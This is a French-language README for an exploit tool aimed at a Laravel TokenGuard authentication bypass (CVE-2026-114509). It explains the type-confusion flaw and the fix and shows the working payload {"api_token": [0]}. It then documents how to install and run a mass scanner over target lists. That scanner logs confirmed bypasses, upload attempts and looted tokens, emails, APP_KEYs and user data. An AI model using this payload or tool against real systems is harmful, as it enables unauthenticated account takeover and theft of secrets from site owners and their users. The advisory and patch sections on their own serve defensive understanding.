
Contournement de l'authentification Laravel TokenGuard via des identifiants d'API non-chaînes
Contournement d'authentification Laravel TokenGuard via des identifiants d'API non-chaînes
Contournement d'authentification non authentifié dans Laravel Framework — Garde d'API TokenGuard
CVE-2026-114509 est une vulnérabilité critique de contournement d'authentification dans le composant intégré TokenGuard de Laravel Framework.
Lorsqu'il est configuré avec une garde d'API standard basée sur un jeton sur MySQL ou MariaDB, un attaquant non authentifié peut soumettre un identifiant non-chaîne spécialement conçu (un tableau JSON) qui amène la recherche d'authentification à correspondre à un utilisateur existant non prévu — accordant un accès complet sans connaître aucun jeton d'API valide.
Cela conduit à une prise de contrôle totale de compte sur toute route protégée par la garde affectée.
| Champ | Détails |
|---|---|
| ID CVE | CVE-2026-114509 |
| GHSA | GHSA-f9x3-7vq9-cph6 |
| Logiciel affecté | Laravel Framework (laravel/framework) |
| Versions affectées | < 12.68.0 et >= 13.0.0, < 13.29.0 |
| Type | Contournement d'authentification |
| CWE | CWE-287 — Authentification incorrecte |
| CWE | CWE-1287 — Validation incorrecte du type d'entrée spécifié |
| Score CVSS 4.0 | 9.2 / 10 — CRITIQUE |
| Vecteur CVSS | CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
| Authentification | Aucune requise (Pré-Auth) |
| Condition | Backend MySQL / MariaDB |
| Correctif | v12.68.0 / v13.29.0 |
| Métrique | Valeur | Signification |
|---|---|---|
| Vecteur d'attaque | Réseau | Exploitable à distance via Internet |
| Complexité d'attaque | Faible | Aucune condition particulière au-delà de MySQL/MariaDB |
| Exigences d'attaque | Présentes | Nécessite le comportement de coercition de type de MySQL/MariaDB |
| Privilèges requis | Aucun | Aucune authentification nécessaire |
| Interaction utilisateur | Aucune | Aucune action de la victime requise |
| Confidentialité | Élevée | Accès complet en lecture aux données de l'utilisateur authentifié |
| Intégrité | Élevée | Peut modifier les données en tant qu'utilisateur contourné |
| Disponibilité | Élevée | Peut perturber le service via la prise de contrôle de compte |
Il s'agit d'un bug de confusion de type à la frontière entre l'analyse des requêtes HTTP, la logique du framework PHP et le comportement de la base de données SQL. Trois comportements ordinaires s'alignent pour créer la vulnérabilité :
TokenGuard accepte une entrée non-chaîne — La méthode user() dans TokenGuard.php utilise !empty($token) au lieu de is_string($token) && !empty($token). Les corps de requête JSON peuvent fournir des tableaux ou des entiers comme valeur de jeton.
EloquentUserProvider construit une requête WHERE IN — Lorsque retrieveByCredentials() reçoit une valeur de type tableau, il génère WHERE api_token IN (...) au lieu de WHERE api_token = ....
Coercition de type MySQL — MySQL convertit les colonnes de chaînes en nombres pour la comparaison. L'entier 0 correspond à n'importe quelle chaîne qui ne commence pas par un chiffre (ce qui représente la plupart des jetons d'API), car MySQL convertit ces chaînes en 0.0.
JSON Body: {"api_token": [0]}
│
▼
TokenGuard::user()
→ getTokenForRequest()
→ !empty([0]) === true ← Should reject non-string
│
▼
EloquentUserProvider::retrieveByCredentials()
→ WHERE api_token IN (0) ← Array becomes WHERE IN
│
▼
MySQL Type Coercion
→ 0 == "wAWrHm..." → true ← Int 0 matches any string token
│
▼
first() returns User #1
→ check() === true
→ Authentication Bypassed ✓
┌──────────────────────────┐
│ Attacker (No Creds) │
└────────────┬─────────────┘
│
│ POST /api/user
│ Content-Type: application/json
│ {"api_token": [0]}
▼
┌──────────────────────────┐
│ Laravel Application │
│ │
│ TokenGuard::user() │
│ ↓ !empty([0]) = true │
│ retrieveByCredentials() │
│ ↓ WHERE IN (0) │
│ MySQL coercion │
│ ↓ 0 matches strings │
│ Returns first user │
│ ↓ Authenticated ✓ │
│ │
└────────────┬─────────────┘
│
│ 200 OK
│ {"id":1, "name":"Admin",
│ "email":"[email protected]",
│ "api_token":"wAWrHm..."}
▼
┌──────────────────────────┐
│ Full Account Takeover │
│ • User data exposed │
│ • API token leaked │
│ • Admin access possible │
└──────────────────────────┘
Laravel a corrigé TokenGuard.php en ajoutant une vérification de type — si le jeton n'est pas une chaîne de caractères, le guard renvoie immédiatement null et n'appelle jamais le fournisseur d'utilisateurs :
// Before (vulnerable)
$token = $this->getTokenForRequest();
if (! empty($token)) { ... }
// After (fixed)
$token = $this->getTokenForRequest();
if (! is_string($token) || empty($token)) { return; }
git clone https://github.com/Nxploited/CVE-2026-114509.git
cd CVE-2026-114509
pip install requests rich
L'outil prend en charge deux modes : scan de masse et sonde approfondie sur cible unique.
Analyser une liste de cibles pour détecter la vulnérabilité :
python CVE-2026-114509.py scan targets.txt
Options :
python CVE-2026-114509.py scan targets.txt --threads 60 --timeout 12
| Option | Par défaut | Description |
|---|---|---|
targets | (requis) | Fichier contenant les URL cibles (une par ligne) |
--threads | 60 | Nombre de threads simultanés |
--timeout | 12 | Délai d'expiration des requêtes en secondes |
Format du fichier cible (targets.txt) :
https://target1.com
https://target2.com
http://192.168.1.100:8080
target3.com
Les cibles sans schéma utilisent par défaut
https://.
Fichiers de sortie (créés dans le répertoire du script) :
| Fichier | Contenu |
|---|---|
LV_DETECTED.txt | Toutes les applications Laravel détectées |
LV_BYPASS.txt | Contournements d'authentification confirmés |
LV_UPLOAD.txt | Résultats des tentatives d'upload |
LV_LOOT.txt | Données extraites (tokens, e-mails, APP_KEYs, données utilisateur) |
Sonder en profondeur une cible unique avec une sortie détaillée :
python CVE-2026-114509.py single https://target.com
Options :